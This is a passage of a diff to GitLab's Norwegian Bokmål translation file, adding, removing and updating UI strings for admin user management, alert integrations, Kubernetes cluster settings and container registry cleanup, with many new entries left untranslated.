+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
+msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -792,6 +770,9 @@ msgstr "%{strongStart}Sletter%{strongEnd} kildegrenen"
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} gren"
@@ -889,6 +870,9 @@ msgstr "%{userName} sin avatar"
msgid "%{user_name} profile page"
msgstr "%{user_name} sin profilside"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "%{username} sin avatar"
@@ -907,12 +891,6 @@ msgstr "%{webhooks_link_start}%{webhook_type}%{link_end} lar deg sende varsler t
msgid "&lt; 1 hour"
msgstr "&lt; 1 time"
-msgid "&lt;no scopes selected&gt;"
-msgstr "&lt;no scopes selected&gt;"
-
-msgid "&lt;project name&gt;"
-msgstr "&lt;project name&gt;"
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr "'%{data}' ved %{location} samsvarer ikke med formatet: %{format}"
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr "Handlinger"
-msgid "Activate"
-msgstr "Aktiver"
-
msgid "Activate Service Desk"
msgstr "Skru på tjenestedesken"
@@ -1856,9 +1831,15 @@ msgstr "Adminmodus skrudd på"
msgid "Admin notes"
msgstr "Admin-notater"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr "Aktive brukere"
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr "Fakturerbare brukere"
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Aktiv"
@@ -2129,18 +2119,21 @@ msgstr "Blokkert"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Å blokkere brukeren har følgende effekter:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "Kan ikke oppheve blokkering av LDAP-blokkerte brukere"
msgid "AdminUsers|Deactivate"
msgstr "Deaktiver"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "Vil du deaktivere brukeren %{username}?"
-
msgid "AdminUsers|Deactivate user"
msgstr "Deaktiver bruker"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "Deaktivert"
@@ -2165,6 +2158,9 @@ msgstr "Ekstern"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr "Eksterne brukere kan ikke se interne eller private prosjekter med mindre tilgang er uttrykkelig gitt. Eksterne brukere kan heller ikke opprette prosjekter, grupper, eller personlige utdrag."
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr "Benytter setet"
@@ -2201,6 +2197,15 @@ msgstr "Vanlig"
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr "Vanlige brukere har tilgang til deres grupper og prosjekter"
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "Gjenopprett brukertilgang til kontoen, inkludert nett, Git og API."
@@ -2240,6 +2245,15 @@ msgstr "For å bekrefte, skriv %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "For å bekrefte, skriv %{username}"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Brukeren vil ikke kunne gå inn på git-kodelagre"
@@ -2249,6 +2263,9 @@ msgstr "Brukeren vil ikke kunne logge på"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr "Når brukeren logger på igjen, blir kontoen deres reaktivert som en fullt aktiv konto"
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Uten prosjekter"
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,14 +2296,20 @@ msgstr ""
msgid "Administration"
msgstr "Administrasjon"
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
msgstr "Avansert"
msgid "Advanced Search"
-msgstr ""
+msgstr "Avansert søk"
msgid "Advanced Search with Elasticsearch"
msgstr ""
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr "Gå gjennom dokumentasjonen til din eksterne tjeneste for å lære hvor du kan gi denne informasjonen til din eksterne tjeneste, og %{linkStart}GitLab-dokumentasjonen%{linkEnd} for å lære mer om å sette opp ditt endepunkt."
@@ -2491,9 +2541,18 @@ msgstr "Du må oppgi denne URL-en og autorisasjonsnøkkelen for å autorisere en
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr "Kopier"
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,36 +2598,66 @@ msgstr "Ekstern Prometheus"
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|Integration"
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
msgstr ""
-msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Integration"
+msgstr ""
+
+msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
msgid "AlertSettings|Opsgenie"
msgstr "Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
+msgstr ""
+
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr "Gå gjennom dokumentasjonen til din eksterne tjeneste for å lære hvor du kan gi denne informasjonen til din eksterne tjeneste, og %{linkStart}GitLab-dokumentasjonen%{linkEnd} for å lære mer om å sette opp ditt endepunkt."
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr "Det oppstod en feil under tilbakestilling av nøkkelen. Oppdater siden f
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr "Webhook-URL"
@@ -2596,6 +2700,9 @@ msgstr "Du må oppgi denne URL-en og autorisasjonsnøkkelen for å autorisere en
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "Varsler"
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Tillat visning av PlantUML-diagrammer i Asciidoc-dokumenter."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "Tillat at kodelagerspeiling kan bli satt opp av prosjektvedlikeholdere"
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "En feil har oppstått"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr "Det oppstod en feil under innhenting av etiketter. Prøv søket på nytt
msgid "An error occurred while fetching terraform reports."
msgstr "Det oppstod en feil under innhenting av terraformingsrapporter."
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "Det oppstod en feil under innhenting av Service Desk-adressen."
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,18 +3126,21 @@ msgstr "En feil oppstod under innhenting av denne fanen."
msgid "An error occurred while generating a username. Please try again."
msgstr "En feil oppstod under generering av brukernavn. Vennligst prøv igjen."
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr "En feil oppstod under henting av filer for - %{branchId}"
msgid "An error occurred while getting projects"
msgstr "Det oppstod en feil under innhenting av prosjekter"
-msgid "An error occurred while importing project: %{details}"
-msgstr "En feil oppstod under importering av prosjekt: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr ""
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "En feil oppstod under innlasting av alle filene."
@@ -3067,6 +3195,9 @@ msgstr "En feil oppstod under innlasting av fletteforepørsels-versjonsdataene."
msgid "An error occurred while loading the merge request."
msgstr "En feil oppstod under innlasting av fletteforespørselsen."
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "En feil oppstod under innhenting av rørledningsjobbene."
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr "En feil oppstod under rendring av redigereren"
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "En feil oppstod under omsortering av saker."
@@ -3127,6 +3255,9 @@ msgstr "En feil oppstod under abonnering på varsler."
msgid "An error occurred while triggering the job."
msgstr "En feil oppstod under trigging av jobben."
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "En feil oppstod under oppdatering av kommentaren"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "En feil oppstod under validering av gruppebanen"
@@ -3197,7 +3331,7 @@ msgid "An unknown error occurred while loading this graph."
msgstr "En ukjent feil oppstod under innlasting av denne grafen."
msgid "An unknown error occurred."
-msgstr ""
+msgstr "En ukjent feil har oppstått."
msgid "Analytics"
msgstr "Analyser"
@@ -3331,6 +3465,12 @@ msgstr "Benytt endringer"
msgid "Apply suggestion"
msgstr "Benytt forslag"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr "Benytt forslag"
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} godkjenning kreves fra %{membersCount}"
msgstr[1] "%{count} godkjenninger kreves fra %{membersCount}"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "Godkjennere"
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr "Arkivert"
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr "Arkivert i denne versjonen"
@@ -3525,9 +3671,6 @@ msgstr "Er du sikker på at du vil slette dette panelet?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Er du sikker på at du vil slette denne enheten? Denne handlingen kan ikke angres på."
-msgid "Are you sure you want to delete this list?"
-msgstr "Er du sikker på at du vil slette denne listen?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Er du sikker på at du vil slette denne rørledningsplanleggingen?"
@@ -3578,6 +3721,9 @@ msgstr "Er du sikker på at du vil fjerne lisensen?"
msgid "Are you sure you want to remove this identity?"
msgstr "Er du sikker på at du vil fjerne denne identiteten?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Er du sikker på at du vil nullstille registreringssjetongen?"
@@ -3852,6 +3998,12 @@ msgstr "Autentisere"
msgid "Authenticate with GitHub"
msgstr "Autentiser med GitHub"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr "Autentiserer"
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr "Kontakt salgsavdelingen"
msgid "BillingPlan|Upgrade"
msgstr "Oppgrader"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr "Blokkert"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr "Blokkert sak"
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr "Av %{user_name}"
-msgid "By URL"
-msgstr "Etter URL"
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr "CI/CD-Innstillinger"
msgid "CI Lint"
msgstr "CI Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr "CI-innstillinger"
@@ -4725,6 +4894,9 @@ msgstr "Kan ikke benytte det, siden denne linjen ble endret i en nyere versjon."
msgid "Can't apply this suggestion."
msgstr "Kan ikke benytte dette forslaget."
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr "Kan ikke opprette utdrag: %{err}"
@@ -4752,6 +4924,12 @@ msgstr "Canary"
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Avbryt"
@@ -4785,9 +4963,6 @@ msgstr "Kan ikke opprette misbruksrapporten. Brukeren har blitt blokkert."
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "Kan ikke ha flere Jira-importeringer som kjører samtidig"
@@ -4929,6 +5104,9 @@ msgstr "Endringer"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr "Endringer påvirker bare nye arkiver. Hvis det ikke er spesifisert, vil Gits standardnavn %{branch_name_default} brukes."
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr "Å endre en utgivelsesetikett støttes kun gjennom 'Utgivelser'-API-en %{linkStart}Mer informasjon%{linkEnd}"
-
msgid "Changing group URL can have unintended side effects."
msgstr "Endring av gruppe-URL-en kan ha utilsiktede bivirkninger."
@@ -5016,6 +5191,9 @@ msgstr "Sjekk igjen"
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Sjekk %{docs_link_start}dokumentasjonen%{docs_link_end}."
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr "Velg %{strong_open}Opprett arkiv%{strong_close} og vent til arkivering er fullført."
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr "Velg %{strong_open}Neste%{strong_close} nederst på siden."
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Velg en gren/etikett (f.eks. %{master}) eller skriv inn en commit (f.eks. %{sha}) for å se hva som er endret eller for å opprette en fletteforespørsel."
@@ -5241,6 +5413,9 @@ msgstr "Velg fil …"
msgid "Choose labels"
msgstr "Velg stempler"
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr "Klassifiseringsetikett (valgfritt)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,11 +5626,11 @@ msgstr "Tømte vektleggingen."
msgid "Clears weight."
msgstr "Tømmer vektleggingen."
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
-msgstr "Klikk på %{strong_open}Last ned%{strong_close}-knappen og vent til nedlastingen er fullført."
+msgid "Click %{link_start}here%{link_end} to view the request."
+msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
-msgstr "Klikk på %{strong_open}Velg ingen%{strong_close}-knappen til høyre, siden vi bare trenger \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
+msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
msgstr ""
@@ -5502,8 +5677,8 @@ msgstr "Klon med SSH"
msgid "Close"
msgstr "Lukk"
-msgid "Close %{display_issuable_type}"
-msgstr "Lukk %{display_issuable_type}"
+msgid "Close %{issueType}"
+msgstr ""
msgid "Close %{tabname}"
msgstr "Lukk %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr "Lukk %{tabname}"
msgid "Close epic"
msgstr "Lukk epos"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Lukk milepæl"
@@ -5604,6 +5776,9 @@ msgstr "Du har ikke tilstrekkelige tillatelser til å slette denne klyngeagenten
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} ble velykket installert på Kubernetes-klyngen din"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr "%{externalIp}.nip.io"
@@ -5712,6 +5887,9 @@ msgstr "Blokkeringsmodus"
msgid "ClusterIntegration|CA Certificate"
msgstr "CA-sertifikat"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Sertifikatbehandler"
@@ -5970,9 +6148,6 @@ msgstr "Gruppeklynge"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr "Helm-utgivelsen mislyktes i å bli installert"
@@ -6075,6 +6250,9 @@ msgstr "Lær mer om gruppe-Kubernetes-klynger"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Lær mer om instans-Kubernetes-klynger"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Laster inn IAM-roller"
@@ -6408,7 +6586,7 @@ msgstr "URL-en som brukes til å få tilgang til Kubernetes-API-en."
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr "Den tilknyttede IP-en og alle distribuerte tjenester vil bli slettet og kan ikke bli gjenopprettet. Avinstallering av Knative fjerner også Istio fra klyngen din. Dette vil ikke påvirke andre programmer."
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr "Commit (under redigering av commit-meldingen)"
msgid "Commit Message"
msgstr "Commit-beskjed"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "Commiten ble slettet"
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr "opprettet av:"
@@ -7046,6 +7224,9 @@ msgstr "Tidsavbrudd på tilkobling"
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "Kontakt salgsavdelingen for å oppgradere"
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr "Container-kodelagre"
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr "Bilde-etiketter"
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr "Innlogging"
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr "Antall etiketter å beholde:"
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] "Fjern etikett"
msgstr[1] "Fjern etiketter"
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
